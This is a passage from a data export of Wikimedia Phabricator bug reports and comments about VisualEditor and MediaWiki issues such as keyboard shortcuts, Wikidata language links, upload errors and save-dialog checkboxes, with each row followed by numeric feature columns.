+https://gerrit.wikimedia.org/r/116966",,,1394054746,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yocptvdek2u4pm4ssk5d,task_subcomment,,True,c1,3,False,,,35,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241779,VisualEditor: Add CTRL+Y as a second shortcut for redo,"Change 116966 had a related patch set uploaded by Catrope:
+Add cmd/ctrl+y as alternative shortcut for redo
+
+https://gerrit.wikimedia.org/r/116966",,,1394051814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yocptvdek2u4pm4ssk5d,task_subcomment,,True,c1,3,False,,,35,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+241774,VisualEditor: Add CTRL+Y as a second shortcut for redo,"Add cmd/ctrl+y as alternative shortcut for redo
+https://gerrit.wikimedia.org/r/#/c/116966/",,,1394038226,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-yocptvdek2u4pm4ssk5d,task_subcomment,,True,c1,3,True,,,35,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241768,VisualEditor: Add CTRL+Y as a second shortcut for redo,"**jonathan_haas** wrote:
+
+Ctrl+Y is the default undo shortcut in Firefox. It's very confusing that it doesn't work in VE using Firefox.",,,1375020469,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yocptvdek2u4pm4ssk5d,task_subcomment,,True,c1,3,False,,,3,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+54130,VisualEditor: Come up with something better than .offsetOf(),"We overuse both ""index"" and ""offset"" in our vocabulary, and one of the more cringe-worthy results is the rename of .indexOf() to .offsetOf() in AnnotationSet. We should refactor our vocabulary and rename this to something saner.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1374887040,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-y2db4ahscixrwviebqhf,task_description,open,True,c1,3,False,False,,3,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,1,0,0
+54122,VisualEditor: Adding support to Grammar/Orthography fixes custom wiki defined button to be applied on texts visually on client side,"**Author:** `nzmoihue`
+
+**Description:**
+I think one nice/needed addition to Visual Editor would be supporting custom wiki defined scripts for fixing text [without interfering with wiki text]. For example on Persian Wikipedia we have an edit tool script [1] [2] that wiki users are very depends on it for fixing article texts and without it Visual Editor would be useless for them.
+
+
+ 1. http://fa.wikipedia.org/wiki/%D9%88%DB%8C%DA%A9%DB%8C%E2%80%8C%D9%BE%D8%AF%DB%8C%D8%A7:%D8%A7%D8%A8%D8%B2%D8%A7%D8%B1%D9%87%D8%A7%DB%8C_%D9%88%DB%8C%D8%B1%D8%A7%DB%8C%D8%B4%DB%8C
+ 2.http://fa.wikipedia.org/wiki/MediaWiki:Gadget-Extra-Editbuttons-Functions.js
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1374875580,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-7ljydmhlfgrzwegrjhpj,task_description,open,True,c1,3,False,False,,3,,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+240801,VisualEditor: Adding support to Grammar/Orthography fixes custom wiki defined button to be applied on texts visually on client side,"I love this idea.
+
+Wikipedias in several languages have such tools, and everywhere it's implemented differently.
+
+The Hebrew Wikipedia has a fully automatic bot making spelling correction on which there's a wide consensus (with over 700 rules), and it also a gadget that adds a button to make semi-automatic edits when fully automatic edits are not reliable enough. I believe that the tool about which Ebrahim is speaking is similar.
+
+If I'm not mistaken, Russian, Belarusian, Portuguese, Catalan and English Wikipedias have such tools, too, though there are definitely differences in implementation. Almost certainly there are more languages that have such tools.
+
+It may be challenging to make a tool that would work equally well for all languages. Different languages have very different requirements. However, acknowledging that at least some languages needs some kind a framework for this and that not being able to use it is a regression for many users, and providing some standard baseline to work with it will be a good start.
+
+What standard baseline? At least, a standard location for a button that would open such a tool. Another thing that would be useful to everybody would be an agreed API for automated or semi-automated searching and replacing in contentedtiable.
+
+A harder thing to do would be to have a standardized format for replacement rules, though this will require at least a bit of research of the current implementations.
+
+(A general comment: The standardized way of marking the text's language, which Moriel is developing in her GSoC project, should be helpful for such tools. They shall only need to work on the parts that are written in the appropriate language.)",,,1375135304,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-7ljydmhlfgrzwegrjhpj,task_subcomment,,True,c1,3,False,,,4,,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,0
+54105,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"People would like to be able to edit the language links that are coming from Wikidata in the page settings dialog. A link from there to Wikidata would probably also be a good first step.
+
+**See Also**:
+{T59929}
+{T64005}
+{T74178}",Medium,50.0,1374859560,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,False,PHID-TASK-czxsast2el34thkj2xkj,task_description,open,True,c1,3,True,False,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+239824,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"(In reply to Elitre from comment #7)
+> Thanks. So should I file a new one, or...?
+
+Filing a new bug about the Wikidata tool destroying your current edit by navigating away sounds like a good plan, yes, sorry. :-)",,,1393519722,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+239819,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"Thanks. So should I file a new one, or...?",,,1393519677,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0
+239813,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"(In reply to Elitre from comment #4)
+> Apparently this is how it currently works? You can add links to Wikidata
+> while in VE, but then you'll miss them because the page will be reloaded?
+
+(In reply to Elitre from comment #5)
+> Sorry, rephrasing: You can add items to Wikidata while in VE, but then
+> you'll miss the other edits you made in that VE session since the page will
+> be reloaded.
+
+Yes, the Wikidata team's sidebar JS tool to add to language links ignores the existence of VE (and so breaks things, as you say).
+
+This bug is talking about being able to edit the language links inside VE, in the language panel of the ""page options"" dialog which is currently read-only. It's also meant to cover more cases and features than the sidebar JS tool currently does.",,,1393519436,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,True,,,34,,0,0,0,1,0,1,1,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1
+239808,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"Sorry, rephrasing: You can add items to Wikidata while in VE, but then you'll miss the other edits you made in that VE session since the page will be reloaded.",,,1393509066,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,False,,,34,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+239802,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"Apparently this is how it currently works? You can add links to Wikidata while in VE, but then you'll miss them because the page will be reloaded?",,,1393508934,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,False,,,34,,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0
+239797,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"(In reply to comment #1)
+> This would be excellent, but potentially quite a lot of work. Would the
+> Wikidata team be interested in exploring with us how this could be done?
+
+Yes :) I don't yet know if/how we can dedicate development time to this but let's talk.",,,1380546193,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+239791,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,bug52383 suggests the opposite approach: please do not include such complex logic in VE which is already slow. be so kind to improve the current implementation within the VE project if you feel its hacky.,,,1375398625,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+239784,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"This would be excellent, but potentially quite a lot of work. Would the Wikidata team be interested in exploring with us how this could be done?",,,1374862588,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+54070,"""loadImages bad"" error on uploading ~85MB .ogv files","**Author:** `molly.white5`
+
+**Description:**
+Twice now I've uploaded .ogv files (made with RecordMyDesktop, if that helps) and gotten a popup that very helpfully informs me, ""loadImages bad"". This appears directly after I choose the file to upload, and I'm guessing it has something to do with the inability to find a thumbnail image? Anyway, at the very least a more descriptive error message might be nice.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374796680,1449164913.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-nvavrb7ko66hv3xap6sb,False,PHID-TASK-s536bhjhjcxh5wim4rzu,task_description,invalid,True,c1,3,False,False,False,3,,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0
+572366,"""loadImages bad"" error on uploading ~85MB .ogv files","I can't find anything that says ""loadimages"" in either today's UploadWizard nor the UploadWizard of July 2013.",,,1449164913,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-s536bhjhjcxh5wim4rzu,task_subcomment,,True,c1,3,True,,,126,,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+238016,"""loadImages bad"" error on uploading ~85MB .ogv files","**molly.white5** wrote:
+
+Yes, it happens at Special:UploadWizard on Commons. I do not seem to be getting the error on test2.
+
+The files were https://commons.wikimedia.org/wiki/File:RefTools_rework.ogv and https://commons.wikimedia.org/wiki/File:VisualEditor_reference_tutorial.ogv, which are 84.02 and 86.73 MB, respectively.",,,1374880481,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s536bhjhjcxh5wim4rzu,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+238011,"""loadImages bad"" error on uploading ~85MB .ogv files","Hi Molly,
+where does this happen exactly? http://commons.wikimedia.org/wiki/Special:UploadWizard ? Does it also happen on http://test2.wikipedia.org/wiki/Special:UploadWizard ? Which approx. filesize do these files have?",,,1374852631,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-s536bhjhjcxh5wim4rzu,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+54031,Allow extension options to be specified in API calls,"The rendering of a page can be affected by user extension options (e.g. their choice of renderer for the Math extension) so we should be able to pass through these options to the API.
+
+This is blocking proper support of the Math extension in VisualEditor.
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: normal",Medium,50.0,1374764640,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-jksvrmf6seb3lzwf6tsr,task_description,open,True,c1,3,True,False,,3,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+716838,Allow extension options to be specified in API calls,"To do something about this, I think we'd need:
+# Put these extension options in ParserOptions, somehow. The extension would also have to depend on the ParserOptions rather than user preferences or the like to determine behavior.
+# Be able to query the options available in ParserOptions, along with their API data types. And be able to set an option generically by name.
+# Then ApiParse and other modules can use this to add relevant parameters for the parser options.",,,1472056142,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-jksvrmf6seb3lzwf6tsr,task_subcomment,,True,c1,3,False,,,164,,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+235090,Allow extension options to be specified in API calls,[Setting normal prio as bug 51698 (blocked by this) is also normal prio.],,,1395107815,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jksvrmf6seb3lzwf6tsr,task_subcomment,,True,c1,3,True,,,37,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1
+235084,Allow extension options to be specified in API calls,See bug 51698,,,1374764852,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jksvrmf6seb3lzwf6tsr,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+54011,VisualEditor: ve.ui.Context#toolbar is null in MediaWiki,"Following the documentation[1] starting at ve.ui.Surface (from ve.instances[0]) one would go to #getContext and access .toolbar. But though that property is defined, it is set to null.
+
+I'm not sure why, but apparently our MediaWiki's init is instantiating its own and is only accessible from ve.init.mw.ViewPageTarget#toolbar (ve.init.mw.targets[0].toolbar).
+
+It probably shouldn't have to instantiate its own one, and certainly not make it inaccessible to the rest of VE.
+
+
+[1] https://doc.wikimedia.org/VisualEditor/master/#!/api/ve.ui.Surface
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1374716460,1412590622.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-27h7itsrfluxqubhrje3,task_description,resolved,True,c1,3,True,False,False,3,,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+233307,VisualEditor: ve.ui.Context#toolbar is null in MediaWiki,"There used to be a .toolbar property because the context had its own (local) toolbar to show the contextual tools in. This has been replaced with ContextWidget (which isn't a toolbar) which groups ContextItemWidget (which aren't tools), and now there is no .toolbar property.",,,1412590622,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-27h7itsrfluxqubhrje3,task_subcomment,,True,c1,3,False,,,66,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+53981,"VisualEditor: ""Minor Edit"" and ""Watch this page"" checkboxes on the save page form are not visible when logged out","It seems that Chrome 28 does not display the ""Minor Edit"" and ""Watch This Page"" checkboxes on the save page form. This does work in Firefox 22. Does not seem skin related - Vector and Monobook have the same problem in either browser
+
+Steps to reproduce:
+- Open any page in edit mode.
+- Make a small change, press Save page.
+- (Firefox): There will be checkboxes stating ""Watch this page"" and ""This is a minor edit""
+- (Chrome): Those checkboxes are not present.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374688740,1374693622.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-egsozcckjwhatubn2cu7,task_description,invalid,True,c1,3,False,False,True,3,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+254739,"VisualEditor: ""Minor Edit"" and ""Watch this page"" checkboxes on the save page form are not visible when logged out",Then this is not the bug I thought it was; fixing settings.,,,1374693622,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-egsozcckjwhatubn2cu7,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+254730,"VisualEditor: ""Minor Edit"" and ""Watch this page"" checkboxes on the save page form are not visible when logged out",Do'h! Logging in does indeed appear to be the problem - I restarted Chrome right before testing a few things iand forgot to log back after i did. Sorry for that - seems to be a storm in a teacup.,,,1374693512,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-egsozcckjwhatubn2cu7,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+254722,"VisualEditor: ""Minor Edit"" and ""Watch this page"" checkboxes on the save page form are not visible when logged out","(In reply to comment #0)
+> It seems that Chrome 28 does not display the ""Minor Edit"" and ""Watch This
+> Page""
+> checkboxes on the save page form. This does work in Firefox 22. Does not seem
+> skin related - Vector and Monobook have the same problem in either browser
+> 
+> Steps to reproduce:
+> - Open any page in edit mode.
+> - Make a small change, press Save page.
+> - (Firefox): There will be checkboxes stating ""Watch this page"" and ""This is
+> a
+> minor edit""
+> - (Chrome): Those checkboxes are not present.
+Are you sure you're logged in in both browsers? If you're logged out in Chrome, then you'd be getting the expected behavior for anons (which changed recently, because we're not using smarter code that's more consistent with how the old editor does it).",,,1374693045,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-egsozcckjwhatubn2cu7,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+254710,"VisualEditor: ""Minor Edit"" and ""Watch this page"" checkboxes on the save page form are not visible when logged out",This is actually due to an underlying bug in the new code just pushed out an hour ago; we've just fixed this (reload if it doesn't show).,,,1374692833,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-egsozcckjwhatubn2cu7,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+53947,VisualEditor: Undo does not invalidate cached wikitext diff content,"English Wikipedia user Atethnekos reports: 
+""If I make 2 changes, review changes, exit review/save dialog, undo last change, and then review changes again, the review shows both changes, though saving only saves the first.""
+
+Steps to reproduce:
+1. Make two changes to a page in VE
+2. Undo one change
+3. Click save and review your changes. 
+-Expected behaviour: Only the first change is shown
+-Actual behaviour: Both changes are shown.
+4. Save the page. Only the first change has been saved.
+
+This means that the review your changes is incorrect.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374660840,1392062273.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-csda6oirljibl6xuzg3w,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,0,1,1,0,1,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+253152,VisualEditor: Undo does not invalidate cached wikitext diff content,"Yes, this is now fixed, almost certainly as part of the re-write Roan did last month.",,,1392062273,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-csda6oirljibl6xuzg3w,task_subcomment,,True,c1,3,True,,,32,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+253151,VisualEditor: Undo does not invalidate cached wikitext diff content,Can't replicate.,,,1391916784,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-csda6oirljibl6xuzg3w,task_subcomment,,True,c1,3,True,,,31,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+53926,VisualEditor: Pending Changes dropdown overlaps toolbar in Monobook,"Reported by Atethnekos on EnWiki, who also provided an image: https://en.wikipedia.org/wiki/File:Platovesample1.png
+
+""When I edit a page with the pending changes revision dropdown, and I am scrolled to the very top, the dropdown and the VE page settings link become mangled.  See highlight in included image.  Firefox 22 on Win7 Pro SP1.""
+
+I can reproduce this in both Firefox 22 and Chrome 28. The issue seems specific to the Monobook skin - Vector renders the pending changes dropdown somewhat lower in both browsers.
+
+--------------------------
+**Version**: unspecified
